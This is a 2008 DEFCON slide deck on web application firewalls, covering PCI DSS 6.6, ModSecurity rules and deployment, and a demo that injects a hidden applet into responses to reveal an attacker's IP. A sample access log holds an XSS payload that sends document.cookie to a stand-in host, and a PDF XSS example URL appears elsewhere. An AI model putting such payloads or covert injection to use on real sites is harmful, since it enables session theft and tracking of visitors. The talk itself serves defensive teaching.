

The Information Security Experts



The Wide World of WAFs

Ben Feinstein, CISSP GCFA
SecureWorks Counter Threat Unit™

DEFCON 16 August 8, 2008

What's In This Talk?

- Web Application Firewalls (WAFs)
- PCI Data Security Standard
 - Requirement 6.6
 - Why should you care?
- ModSecurity
 - Concepts
 - Core Rules
- ModSecurity WAF Live Demos
 - Reverse Proxy
 - Embedded
 - Content Injection in Response to Attack



Web Application Firewalls (WAFs)

The Basics

- Firewall operating at the web application layer
- Hardware or Software
- Fluent in many tongues
 - HTTP / HTTPS
 - XML
 - SOAP
 - XML-RPC
 - WS-*
- Performs normalization / de-obfuscation
- Detects attacks
- Blocks attacks
- Rewrites / Modifies requests and responses

ModSecurity Web App Firewalls

The Basics

- Apache dynamically loadable module
- Dual License
 - Community Edition GPLv2
 - Commercial License
- Created by Ivan Ristic
- Commercialized by Breach Security
- Core Rules released under GPLv2

Meet the Payment Card Industry!

Why Should You Care?

- I apologize in advance if I bore you
- PCI is driving adoption of WAF (and Web App Vulnerability Scanning)
- Pentesters (i.e. QSAs): PCI will drive your business. You will need to be familiar with WAFs to evaluate and subvert them.
- IT Security: You will be deploying WAFs because of PCI
- Blackhats: You will be subverting WAFs for fun and profit!

Meet the Payment Card Industry! Terminology

- Lots of new acronyms, yea!
- PCI Security Standards Council (PCI)
- PCI Data Security Standard (PCI DSS)
- Other PCI security standards exist
 - PIN Entry Devices (PEDs)
 - Payment Application Data (PA-DSS)
- Qualified Security Assessors (QSAs)
- Approved Scanning Vendors (ASVs)

PCI Data Security Standard v1.1

The Basics

- Build and Maintain a Secure Network
- Protect Cardholder Data
- Maintain a Vulnerability Management Program
- Implement Strong Access Control Measures
- Regularly Monitor and Test Networks
- Maintain an Information Security Policy

PCI DSS Application / System Security

Requirement 6

- R6. "Develop & maintain secure systems and applications"
- R6.6. "Ensure that all web-facing applications are protected against known attacks by applying either of the following methods:
 - Having all custom application code reviewed for common vulnerabilities by an organization that specializes in application security
 - Installing an application layer firewall in front of web-facing applications.
- Note: This method is considered a best practice until June
 30, 2008, after which it becomes a requirement."

PCI Data Security Standard

What Does All This Really Mean?

- A way to reassign legal liability
 - QSA assumes unlimited liability? (IANAL)
- Compliance rationale for bigger IT security budgets
- An economically dictated race to the bottom for ASVs?

PCI Data Security Standard

An economically dictated race to the bottom for ASVs?

- Cost of a PCI ASV's Solution
- vs. that Solution's Ability to Find Issues (its Quality)
- vs. Cost of Remediating the Identified Findings
- vs. Loss Expectancy Due to Unidentified Issues
- vs. Loss Expectancy Due to Unremediated Issues
- No market differentiator between a PCI stamp of approval granted by ASVs of varying quality!

ModSecurity Concepts

- Virtual Patching / Just-In-Time Patching
- Postive Security Model
 - Input Validation Envelope
- Negative Security Model
 - Enumerate the bad stuff
- Difficult to achieve the "positive input validation envelope" in the real-world!
- "When you know nothing, permit-all is the only option.
 When you know something, default-permit is what you can
 and should do. When you know everything, default-deny
 becomes possible, and only then." Richard Bejtlich(?),
 quoted in WhiteHat Security WP WAF061708

More ModSecurity Concepts

Processing Phases

- Request Headers
- Request Body
- Response Headers
- Response Body
- Logging / Action

More ModSecurity Concepts

Transformations

- Can be nested / run in serial
- Replace Comments
 - SQLi
- URL Encode / Decode
- Hex Encode / Decode
- JavaScript Decode
- HTML Entity Decode
- Uppercase / Lowercase
- MD5 / SHA1
- Normalize Paths

ModSecurity Core Rules

- HTTP protocol protection
 - RFCs
 - Defined policy
- Common Web Attack Protections
 - XSS, SQLi, CSRF, HTTP Response Splitting
- Automation Detection
 - Bots, web crawlers, web scanners
- Trojan Protection
- Server Error Hiding / DLP
 - Mask errors sent by the server
 - Data Loss Prevention

ModSecurity Rule Language Keywords

- Request (a few important keywords)
 - REQUEST_METHOD
 - REQUEST_URI
 - REQUEST_FILENAME
 - QUERY_STRING
 - REQUEST_HEADERS
 - REQUEST_BODY
- Response (a few important keywords)
 - RESPONSE_STATUS
 - RESPONSE_BODY
 - RESPONSE_HEADERS
 - RESPONSE_CONTENT_TYPE
 - RESPONSE_CONTENT_LENGTH



ModSecurity v2.5 Highlights

- Content Injection
 - "prepend" and "append"
 - Embed one of Billy Hoffman's JS payloads in response to attack?
- Aho-Corasick pattern matching algorithm
 - Improved performance when matching on large sets of patterns
- Cached transformations
- GeoIP lookup
 - Use as matching criteria in rules



More ModSecurity v2.5 Highlights

- Credict Card verification on the wire
 - @verifyCC rule operator, takes a regexp argument
 - Luhn checksum algorithm
- PDF Universal XSS Protection
 - http://www.example.com/file.pdf#a=javascript:alert('p0 wn3d')
 - All PDFs on protected site get a one-time use URI
 - Redirects visitors to the PDF
 - Flushes any malicious JS in client's browser session
- Full Lua scripting w/ SecRuleScript directive
 - Used to create more complex rules in Lua




ModSecurity Web App Firewall

Deployment Scenarios


- Embedded
 - Installed within Apache instance hosting site
- Reverse Proxy
 - Use Apache mod_proxy
 - Traffic is redirected to flow through WAF
 - DNS configuration
 - Network-layer redirection
 - Could be hosted "in the cloud"
 - Supports use of Apache Virtual Hosts

Embedded Deployment





Embedded Deployment






ModSecurity Embedded Deployment


Live Demo



Reverse Proxy Deployment



Reverse Proxy Deployment





ModSecurity Reverse Proxy Deployment

Live Demo



ModSecurity Content Injection

- Credit to David (DKZA) Kierznowski, GNUCITIZEN
 - http://www.gnucitizen.org/blog/content-injection-hackthe-hacker/
- Inject code snippets
 - Defense
 - Hijacking JS functions
 - Redefine alert() with a Logger
 - A looking glass into client's browser

Content Injection

An Example

- The following rule will inject a Java Applet
- MyAddress will force attacker's browser to callback to us
- Reveals IP of the attacking host
 - Works despite NAT
 - Good, we might be only seeing IP of WAF in server log

Content Injection

The Rules

SecContentInjection On

```
SecDefaultAction
  "log,deny,phase:2,status:500,t:none,setvar:tx.alert=1"
SecRule TX:ALERT "@eq 1" \
  "phase:3,nolog,pass,chain,prepend:'<applet\
  code=\"MyAddress.class\" width=0 height=0> \
  <param name=\"url\" value=\"grab_ip.php?IP=\"> \
  <param name=\"action\" value=\"auto\"> \
  </applet>' "
```

SecRule RESPONSE_CONTENT_TYPE "^text/html"

Content Injection

Apache Access Log

- Below is a snippet from Apache access_log on the server
- Reverse Proxy WAF has IP address is 10.0.0.10
- Attacker IP is 172.16.0.20

```
10.0.0.10 - - [30/May/2008:13:47:11 -0400] "GET /cgi-bin/foo.cgi?param=<script>document.write('<img%20 src="http://hackersite/'+document.cookie+'"')</script> HTTP/1.1" 500 676
```

```
10.0.0.10 - - [30/May/2008:13:47:11 -0400] "GET /cgi-bin/grab_ip.php?IP=172.16.0.20 HTTP/1.1" 404 207
```

VA + WAF

- = ??? + Profit !!!
 - "The Dream"
 - Automated webapp vulnerability assessment (i.e., scanning) instantly mitigates identified flaws through automagic deployment of rules to WAFs.
 - Until recently, not really feasible
 - Web App VA generated too many false postives
 - Web App VA generated too many duplicates
 - WAFs suffered under too many FPs and duplicates
 - Vendors are trying again

Limitations of WAFs

It's Just A Tool, Not A Silver Bullet

- Insecure Session Handling / Potential Cookie Tampering
 - WAF can perform transparent cookie encryption/decryption
- Flaws in Business Logic
 - Reliance on a predictable "random" number in URL to provide authentication and authorization
 - Can be solved with a WAF performing "URL encryption"
 - Similar to ModSecurity protection against Universal PDF XSS
 - Many flaws in business logic are very difficult to detect w/ automated tools...
 - ...and difficult to mitigate with a tool like a WAF



The Future

Some Closing Thoughts

- Vendors will continue to add WAF-like functionality
 - Load Balancers
 - Firewalls
 - IPS and UTM devices
- WAF-like funtionality being wrapped into malware
 - Many already contain SOCKS proxy functionality
- Rogue / Malicious WAF Attacks
 - WPAD-like attack vectors?
 - WAF Poisoning?
- More WAF Bypass Vulnerabilities

A Plug

- WAFs from a attacker's perspective
- "Playing with Web Application Firewalls"
 - Wendel Guglielmetti Henrique
 - Fri 15:00-15:50, Track 2
- How to detect, fingerprint, and evade WAFs
- I learned some stuff just reading the slides

Thanks to DT, the Goons and everyone who made DEFCON a reality this year!



Greetz to DC404, Atlanta's DC Group!

Speakers: dr.kaos, Carric, David Maynor, Scott Moulton

& Adam Bregenzer

And our very own Goon, dc0de!



Questions? bfeinstein@secureworks.com

